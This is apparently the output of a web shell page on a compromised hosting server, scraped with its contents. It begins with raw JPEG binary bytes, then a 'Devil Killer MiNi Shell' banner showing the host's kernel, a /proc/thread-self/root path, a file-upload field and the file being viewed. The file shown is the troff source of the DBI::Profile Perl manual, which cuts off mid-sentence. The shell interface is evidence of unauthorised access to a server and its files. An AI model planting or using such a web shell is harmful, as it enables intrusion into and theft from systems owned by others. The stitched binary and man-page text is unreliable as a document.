JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/DBI::Profile.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "DBI::Profile 3"
.TH DBI::Profile 3 "2006-02-07" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
DBI::Profile \- Performance profiling and benchmarking for the DBI
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
The easiest way to enable \s-1DBI\s0 profiling is to set the \s-1DBI_PROFILE\s0
environment variable to 2 and then run your code as usual:
.PP
.Vb 1
\&  DBI_PROFILE=2 prog.pl
.Ve
.PP
This will profile your program and then output a textual summary
grouped by query when the program exits.  You can also enable profiling by
setting the Profile attribute of any \s-1DBI\s0 handle:
.PP
.Vb 1
\&  $dbh->{Profile} = 2;
.Ve
.PP
Then the summary will be printed when the handle is destroyed.
.PP
Many other values apart from are possible \- see \*(L"\s-1ENABLING\s0 A \s-1PROFILE\s0\*(R" below.
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
The DBI::Profile module provides a simple interface to collect and
report performance and benchmarking data from the \s-1DBI\s0.
.PP
For a more elaborate interface, suitable for larger programs, see
DBI::ProfileDumper and dbiprof.
For Apache/mod_perl applications see
DBI::ProfileDumper::Apache.
.SH "OVERVIEW"
.IX Header "OVERVIEW"
Performance data collection for the \s-1DBI\s0 is built around several
concepts which are important to understand clearly.
.IP "Method Dispatch" 4
.IX Item "Method Dispatch"
Every method call on a \s-1DBI\s0 handle passes through a single 'dispatch'
function which manages all the common aspects of \s-1DBI\s0 method calls,
such as handling the RaiseError attribute.
.IP "Data Collection" 4
.IX Item "Data Collection"
If profiling is enabled for a handle then the dispatch code takes
a high-resolution timestamp soon after it is entered. Then, after
calling the appropriate method and just before returning, it takes
another high-resolution timestamp and calls a function to record
the information.  That function is passed the two timestamps
plus the \s-1DBI\s0 handle and the name of the method that was called.
That data about a single \s-1DBI\s0 method call is called a \fIprofile sample\fR.
.IP "Data Filtering" 4
.IX Item "Data Filtering"
If the method call was invoked by the \s-1DBI\s0 or by a driver then the call is
ignored for profiling because the time spent will be accounted for by the
original 'outermost' call for your code.
.Sp
For example, the calls that the \fIselectrow_arrayref()\fR method makes
to \fIprepare()\fR and \fIexecute()\fR etc. are not counted individually
because the time spent in those methods is going to be allocated
to the \fIselectrow_arrayref()\fR method when it returns. If this was not
done then it would be very easy to double count time spent inside
the \s-1DBI\s0.
.IP "Data Storage Tree" 4
.IX Item "Data Storage Tree"
The profile data is accumulated as 'leaves on a tree'. The 'path' through the
branches of the tree to a particular leaf is determined dynamically for each sample.
This is a key feature of \s-1DBI\s0 profiliing.
.Sp
For each profiled method call the \s-1DBI\s0 walks along the Path and uses each value
in the Path to step into and grow the Data tree.
.Sp
For example, if the Path is
.Sp
.Vb 1
\&  [ 'foo', 'bar', 'baz' ]
.Ve
.Sp
then the new profile sample data will be \fImerged\fR into the tree at
.Sp
.Vb 1
\&  $h->{Profile}->{Data}->{foo}->{bar}->{baz}
.Ve
.Sp
But it's not very useful to merge all the call data into one leaf node (except
to get an overall 'time spent inside the \s-1DBI\s0' total).  It's more common to want
the Path to include dynamic values such as the current statement text and/or
the name of the method called to show what the time spent inside the \s-1DBI\s0 was for.
.Sp
The Path can contain some 'magic cookie' values that are automatically replaced
by corresponding dynamic values when they're used. These magic cookies always
start with a punctuation character.
.Sp
For example a value of '\f(CW\*(C`!MethodName\*(C'\fR' in the Path causes the corresponding
entry in the Data to be the name of the method that was called.
For example, if the Path was:
.Sp
.Vb 1
\&  [ 'foo', '!MethodName', 'selectall_arrayref' ]
.Ve
.Sp
and the \fIselectall_arrayref()\fR method was called, then the profile sample data
for that call will be merged into the tree at:
.Sp
.Vb 1
\&  $h->{Profile}->{Data}->{foo}->{selectall_arrayref}->{bar}
.Ve
.IP "Profile Data" 4
.IX Item "Profile Data"
Profile data is stored at the 'leaves' of the tree as references
to an array of numeric values. For example:
.Sp
.Vb 9
\&  [
\&    106,                  # 0: count of samples at this node
\&    0.0312958955764771,   # 1: total duration
\&    0.000490069389343262, # 2: first duration
\&    0.000176072120666504, # 3: shortest duration
\&    0.00140702724456787,  # 4: longest duration
\&    1023115819.83019,     # 5: time of first sample
\&    1023115819.86576,     # 6: time of last sample
\&  ]
.Ve
.Sp
After the first sample, later samples always update elements 0, 1, and 6, and
may update 3 or 4 depending on the duration of the sampled call.
.SH "ENABLING A PROFILE"
.IX Header "ENABLING A PROFILE"
Profiling is enabled for a handle by assigning to the Profile
attribute. For example:
.PP
.Vb 1
\&  $h->{Profile} = DBI::Profile->new();
.Ve
.PP
The Profile attribute holds a blessed reference to a hash object
that contains the profile data and attributes relating to it.
.PP
The class the Profile object is blessed into is expected to
provide at least a \s-1DESTROY\s0 method which will dump the profile data
to the \s-1DBI\s0 trace file handle (\s-1STDERR\s0 by default).
.PP
All these examples have the same effect as each other:
.PP
.Vb 5
\&  $h->{Profile} = 0;
\&  $h->{Profile} = "/DBI::Profile";
\&  $h->{Profile} = DBI::Profile->new();
\&  $h->{Profile} = {};
\&  $h->{Profile} = { Path => [] };
.Ve
.PP
Similarly, these examples have the same effect as each other:
.PP
.Vb 4
\&  $h->{Profile} = 6;
\&  $h->{Profile} = "6/DBI::Profile";
\&  $h->{Profile} = "!Statement:!MethodName/DBI::Profile";
\&  $h->{Profile} = { Path => [ '!Statement', '!MethodName' ] };
.Ve
.PP
If a non-blessed hash reference is given then the DBI::Profile
module is automatically \f(CW\*(C`require\*(C'\fR'd and the reference is blessed
into that class.
.PP
If a string is given then it is processed like this:
.PP
.Vb 1
\&    ($path, $module, $args) = split /\e//, $string, 3
.Ve
.PP
.Vb 2
\&    @path = split /:/, $path
\&    @args = split /:/, $args
.Ve
.PP
.Vb 2
\&    eval "require $module" if $module
\&    $module ||= "DBI::Profile"
.Ve
.PP
.Vb 1
\&    $module->new( Path => \e@Path, @args )
.Ve
.PP
So the first value is used to select the Path to be used (see below).
The second value, if present, is used as the name of a module which
will be loaded and it's \f(CW\*(C`new\*(C'\fR method called. If not present it
defaults to DBI::Profile. Any other values are passed as arguments
to the \f(CW\*(C`new\*(C'\fR method. For example: "\f(CW\*(C`2/DBIx::OtherProfile/Foo:42\*(C'\fR".
.PP
Numbers can be used as a shorthand way to enable common Path values.
The simplest way to explain how the values are interpreted is to show the code:
.PP
.Vb 5
\&    push @Path, "DBI"           if $path_elem & 0x01;
\&    push @Path, "!Statement"    if $path_elem & 0x02;
\&    push @Path, "!MethodName"   if $path_elem & 0x04;
\&    push @Path, "!MethodClass"  if $path_elem & 0x08;
\&    push @Path, "!Caller2"      if $path_elem & 0x10;
.Ve
.PP
So \*(L"2\*(R" is the same as \*(L"!Statement\*(R" and \*(L"6\*(R" (2+4) is the same as
\&\*(L"!Statement:!Method\*(R".  Those are the two most commonly used values.  Using a
negative number will reverse the path. Thus \*(L"\-6\*(R" will group by method name then
statement.
.PP
The spliting and parsing of string values assigned to the Profile
attribute may seem a little odd, but there's a good reason for it.
Remember that attributes can be embedded in the Data Source Name
string which can be passed in to a script as a parameter. For
example:
.PP
.Vb 2
\&    dbi:DriverName(Profile=>2):dbname
\&    dbi:DriverName(Profile=>{Username}:!Statement/MyProfiler/Foo:42):dbname
.Ve
.PP
And also, if the \f(CW\*(C`DBI_PROFILE\*(C'\fR environment variable is set then
The \s-1DBI\s0 arranges for every driver handle to share the same profile
object. When perl exits a single profile summary will be generated
that reflects (as nearly as practical) the total use of the \s-1DBI\s0 by
the application.
.SH "THE PROFILE OBJECT"
.IX Header "THE PROFILE OBJECT"
The \s-1DBI\s0 core expects the Profile attribute value to be a hash
reference and if the following values don't exist it will create
them as needed:
.Sh "Data"
.IX Subsection "Data"
A reference to a hash containing the collected profile data.
.Sh "Path"
.IX Subsection "Path"
The Path value is a reference to an array. Each element controls the
value to use at the corresponding level of the profile Data tree.
.PP
The elements of Path array can be one of the following types:
.IP "Special Constant" 4
.IX Item "Special Constant"
\&\fB!Statement\fR
.Sp
Use the current Statement text. Typically that's the value of the Statement
attribute for the handle the method was called with. Some methods, like
\&\fIcommit()\fR and \fIrollback()\fR, are unrelated to a particular statement. For those
methods !Statement records an empty string.
.Sp
For statement handles this is always simply the string that was
given to \fIprepare()\fR when the handle was created.  For database handles
this is the statement that was last prepared or executed on that
database handle. That can lead to a little 'fuzzyness' because, for
example, calls to the \fIquote()\fR method to build a new statement will
typically be associated with the previous statement. In practice
this isn't a significant issue and the dynamic Path mechanism can
be used to setup your own rules.
.Sp
\&\fB!MethodName\fR
.Sp
Use the name of the \s-1DBI\s0 method that the profile sample relates to.
.Sp
\&\fB!MethodClass\fR
.Sp
Use the fully qualified name of the \s-1DBI\s0 method, including
the package, that the profile sample relates to. This shows you
where the method was implemented. For example:
.Sp
.Vb 4
\&  'DBD::_::db::selectrow_arrayref' =>
\&      0.022902s
\&  'DBD::mysql::db::selectrow_arrayref' =>
\&      2.244521s / 99 = 0.022445s avg (first 0.022813s, min 0.022051s, max 0.028932s)
.Ve
.Sp
The \*(L"DBD::_::db::selectrow_arrayref\*(R" shows that the driver has
inherited the selectrow_arrayref method provided by the \s-1DBI\s0.
.Sp
But you'll note that there is only one call to
DBD::_::db::selectrow_arrayref but another 99 to
DBD::mysql::db::selectrow_arrayref. Currently the first
call Pern't record the true location. That may change.
.Sp
\&\fB!Caller\fR
.Sp
Use a string showing the filename and line number of the code calling the method.
.Sp
\&\fB!Caller2\fR
.Sp
Use a string showing the filename and line number of the code calling the
method, as for !Caller, but also include filename and line number of the code
that called that. Calls from \s-1DBI::\s0 and \s-1DBD::\s0 packages are skipped.
.Sp
\&\fB!File\fR
.Sp
Same as !Caller above except that only the filename is included, not the line number.
.Sp
\&\fB!File2\fR
.Sp
Same as !Caller2 above except that only the filenames are included, not the line number.
.IP "Code Reference" 4
.IX Item "Code Reference"
The subroutine is passed the handle it was called on and the \s-1DBI\s0 method name.
The current Statement is in \f(CW$_\fR. The statement string should not be modified,
so most subs start with \f(CW\*(C`local $_ = $_;\*(C'\fR.
.Sp
The list of values it returns is used at that point in the Profile Path.
.Sp
The sub can 'veto' (reject) a profile sample by including a reference to undef
in the returned list. That can be useful when you want to only profile
statements that match a certain pattern, or only profile certain methods.
.IP "Subroutine Specifier" 4
.IX Item "Subroutine Specifier"
A Path element that begins with '\f(CW\*(C`&\*(C'\fR' is treated as the name of a subroutine
in the DBI::ProfileSubs namespace and replaced with the corresponding code reference.
.Sp
Currently this only works when the Path is specified by the \f(CW\*(C`DBI_PROFILE\*(C'\fR
environment variable.
.Sp
Also, currently, the only subroutine in the DBI::ProfileSubs namespace is
\&\f(CW'&norm_std_n3'\fR. That's a very handy subroutine when profiling code that
doesn't use placeholders. See DBI::ProfileSubs for more information.
.IP "Attribute Specifier" 4
.IX Item "Attribute Specifier"
A string enclosed in braces, such as '\f(CW\*(C`{Username}\*(C'\fR', specifies that the current
value of the corresponding database handle attribute should be used at that
point in the Path.
.IP "Other Values" 4
.IX Item "Other Values"
Any other values are stringified and used literally.
.Sp
(References, and values that begin with punctuation characters are reserved.)
.PP
Only the first 100 elements in Path are used.
.PP
If the value of Path is anything other than an array reference,
it is treated as if it was:
.PP
.Vb 1
\&        [ DBI::Profile::!Statement ]
.Ve
.SH "REPORTING"
.IX Header "REPORTING"
.Sh "Report Format"
.IX Subsection "Report Format"
The current accumulated profile data can be formatted and output using
.PP
.Vb 1
\&    print $h->{Profile}->format;
.Ve
.PP
To discard the profile data and start collecting fresh data
you can do:
.PP
.Vb 1
\&    $h->{Profile}->{Data} = undef;
.Ve
.PP
The default results format looks like this:
.PP
.Vb 5
\&  DBI::Profile: 0.001015s 42.7% (5 calls) programname @ YYYY-MM-DD HH:MM:SS
\&  '' =>
\&      0.000024s / 2 = 0.000012s avg (first 0.000015s, min 0.000009s, max 0.000015s)
\&  'SELECT mode,size,name FROM table' =>
\&      0.000991s / 3 = 0.000330s avg (first 0.000678s, min 0.000009s, max 0.000678s)
.Ve
.PP
Which shows the total time spent inside the \s-1DBI\s0, with a count of
the total number of method calls and the name of the script being
run, then a formated version of the profile data tree.
.PP
If the results are being formated when the perl process is exiting
(which is usually the case when the \s-1DBI_PROFILE\s0 environment variable
is used) then the percentage of time the process spent inside the
\&\s-1DBI\s0 is also shown. If the process is not exiting then the percentage is
calculated using the time between the first and last call to the \s-1DBI\s0.
.PP
In the example above the paths in the tree are only one level deep and
use the Statement text as the value (that's the default behaviour).
.PP
The merged profile data at the 'leaves' of the tree are presented
as total time spent, count, average time spent (which is simply total
time divided by the count), then the time spent on the first call,
the time spent on the fastest call, and finally the time spent on
the slowest call.
.PP
The 'avg', 'first', 'min' and 'max' times are not particularly
useful when the profile data path only contains the statement text.
Here's an extract of a more detailed example using both statement
text and method name in the path:
.PP
.Vb 5
\&  'SELECT mode,size,name FROM table' =>
\&      'FETCH' =>
\&          0.000076s
\&      'fetchrow_hashref' =>
\&          0.036203s / 108 = 0.000335s avg (first 0.000490s, min 0.000152s, max 0.002786s)
.Ve
.PP
Here you can see the 'avg', 'first', 'min' and 'max' for the
108 calls to \fIfetchrow_hashref()\fR become rather more interesting.
Also the data for \s-1FETCH\s0 just shows a time value because it was only
called once.
.PP
Currently the profile data is output sorted by branch names. That
may change in a later version so the leaf nodes are sorted by total
time per leaf node.
.Sh "Report Destination"
.IX Subsection "Report Destination"
The default method of reporting is for the \s-1DESTROY\s0 method of the
Profile object to format the results and write them using:
.PP
.Vb 1
\&    DBI->trace_msg($results, 0);  # see $ON_DESTROY_DUMP below
.Ve
.PP
to write them to the \s-1DBI\s0 \fItrace()\fR filehandle (which defaults to
\&\s-1STDERR\s0). To direct the \s-1DBI\s0 trace filehandle to write to a file
without enabling tracing the \fItrace()\fR method can be called with a
trace level of 0. For example:
.PP
.Vb 1
\&    DBI->trace(0, $filename);
.Ve
.PP
The same effect can be achieved without changing the code by
setting the \f(CW\*(C`DBI_TRACE\*(C'\fR environment variable to \f(CW\*(C`0=filename\*(C'\fR.
.PP
The \f(CW$DBI::Profile::ON_DESTROY_DUMP\fR variable holds a code ref
that's called to perform the output of the formatted results.
The default value is:
.PP
.Vb 1
\&  $ON_DESTROY_DUMP = sub { DBI->trace_msg($results, 0) };
.Ve
.PP
Apart from making it easy to send the dump elsewhere, it can also
be useful as a simple way to disable dumping results.
.SH "CHILD HANDLES"
.IX Header "CHILD HANDLES"
Child handles inherit a reference to the Profile attribute value
of their parent.  So if profiling is enabled for a database handle
then by default the statement handles created from it all contribute
to the same merged profile data tree.
.SH "CUSTOM DATA MANIPULATION"
.IX Header "CUSTOM DATA MANIPULATION"
Recall that \f(CW\*(C`$h\-\*(C'\fR{Profile}\->{Data}> is a reference to the collected data.
Either to a 'leaf' array (when the Path is empty, i.e., \s-1DBI_PROFILE\s0 env var is 1),
or a reference to hash containing values that are either further hash
references or leaf array references.
.PP
Sometimes it's useful to be able to summarise some or all of the collected data.
The \fIdbi_profile_merge()\fR function can be used to merge leaf node values.
.Sh "dbi_profile_merge"
.IX Subsection "dbi_profile_merge"
.Vb 1
\&  use DBI qw(dbi_profile_merge);
.Ve
.PP
.Vb 1
\&  $time_in_dbi = dbi_profile_merge(my $totals=[], @$leaves);
.Ve
.PP
Merges profile data node. Given a reference to a destination array, and zero or
more references to profile data, merges the profile data into the destination array.
For example:
.PP
.Vb 5
\&  $time_in_dbi = dbi_profile_merge(
\&      my $totals=[],
\&      [ 10, 0.51, 0.11, 0.01, 0.22, 1023110000, 1023110010 ],
\&      [ 15, 0.42, 0.12, 0.02, 0.23, 1023110005, 1023110009 ],
\&  );
.Ve
.PP
$totals will then contain
.PP
.Vb 1
\&  [ 25, 0.93, 0.11, 0.01, 0.23, 1023110000, 1023110010 ]
.Ve
.PP
and \f(CW$time_in_dbi\fR will be 0.93;
.PP
For example, to get the time spent 'inside' the \s-1DBI\s0 during an http request,
your logging code run at the end of the request (i.e. mod_perl LogHandler)
could use:
.PP
.Vb 5
\&  my $time_in_dbi = 0;
\&  if (my $Profile = $dbh->{Profile}) { # if DBI profiling is enabled
\&      $time_in_dbi = dbi_profile_merge(my $total=[], $Profile->{Data});
\&      $Profile->{Data} = {}; # reset the profile data
\&  }
.Ve
.PP
If profiling has been enabled then \f(CW$time_in_dbi\fR will hold the time spent inside
the \s-1DBI\s0 for that handle (and any other handles that share the same profile data)
since the last request.
.SH "CUSTOM DATA COLLECTION"
.IX Header "CUSTOM DATA COLLECTION"
.Sh "Using The Path Attribute"
.IX Subsection "Using The Path Attribute"
.Vb 6
\&  XXX example to be added later using a selectall_arrayref call
\&  XXX nested inside a fetch loop where the first column of the
\&  XXX outer loop is bound to the profile Path using
\&  XXX bind_column(1, \e${ $dbh->{Profile}->{Path}->[0] })
\&  XXX so you end up with separate profiles for each loop
\&  XXX (patches welcome to add this to the docs :)
.Ve
.Sh "Adding Your Own Samples"
.IX Subsection "Adding Your Own Samples"
The \fIdbi_profile()\fR function can be used to add extra sample data
into the profile data tree. For example:
.PP
.Vb 2
\&    use DBI;
\&    use DBI::Profile (dbi_profile dbi_time);
.Ve
.PP
.Vb 1
\&    my $t1 = dbi_time(); # floating point high-resolution time
.Ve
.PP
.Vb 1
\&    ... execute code you want to profile here ...
.Ve
.PP
.Vb 2
\&    my $t2 = dbi_time();
\&    dbi_profile($h, $statement, $method, $t1, $t2);
.Ve
.PP
The \f(CW$h\fR parameter is the handle the extra profile sample should be
associated with. The \f(CW$statement\fR parameter is the string to use where
the Path specifies !Statement. If \f(CW$statement\fR is undef
then \f(CW$h\fR\->{Statement} will be used. Similarly \f(CW$method\fR is the string
to use if the Path specifies !MethodName. There is no
default value for \f(CW$method\fR.
.PP
The \f(CW$h\fR\->{Profile}{Path} attribute is processed by \fIdbi_profile()\fR in
the usual way.
.PP
It is recommended that you keep these extra data samples separate
from the \s-1DBI\s0 profile data samples by using values for \f(CW$statement\fR
and \f(CW$method\fR that are distinct from any that are likely to appear
in the profile data normally.
.SH "SUBCLASSING"
.IX Header "SUBCLASSING"
Alternate profile modules must subclass DBI::Profile to help ensure
they work with future versions of the \s-1DBI\s0.
.SH "CAVEATS"
.IX Header "CAVEATS"
Applications which generate many different statement strings
(typically because they don't use placeholders) and profile with
!Statement in the Path (the default) will consume memory
in the Profile Data structure for each statement. Use a code ref
in the Path to return an edited (simplified) form of the statement.
.PP
If a method throws an exception itself (not via RaiseError) then
it won't be counted in the profile.
.PP
If a HandleError subroutine throws an exception (rather than returning
0 and letting RaiseError do it) then the method call won't be counted
in the profile.
.PP
Time spent in \s-1DESTROY\s0 is added to the profile of the parent handle.
.PP
Time spent in \s-1DBI\-\s0>*() methods is not counted. The time spent in
the driver connect method, \f(CW$drh\fR\->\fIconnect()\fR, when it's called by
\&\s-1DBI\-\s0>connect is counted if the \s-1DBI_PROFILE\s0 environment variable is set.
.PP
Time spent fetching tied variables, \f(CW$DBI::errstr\fR, is counted.
.PP
Time spent in \s-1FETCH\s0 for \f(CW$h\fR\->{Profile} is not counted, so getting the profile
data doesn't alter it.
.PP
DBI::PurePerl does not support profiling (though it could in theory).
.PP
A few platforms don't support the \fIgettimeofday()\fR high resolution
time function used by the \s-1DBI\s0 (and available via the \fIdbi_time()\fR function).
In which case you'll get integer resolution time which is mostly useless.
.PP
On Windows platforms the \fIdbi_time()\fR function is limited to millisecond
resolution. Which isn't sufficiently fine for our needs, but still
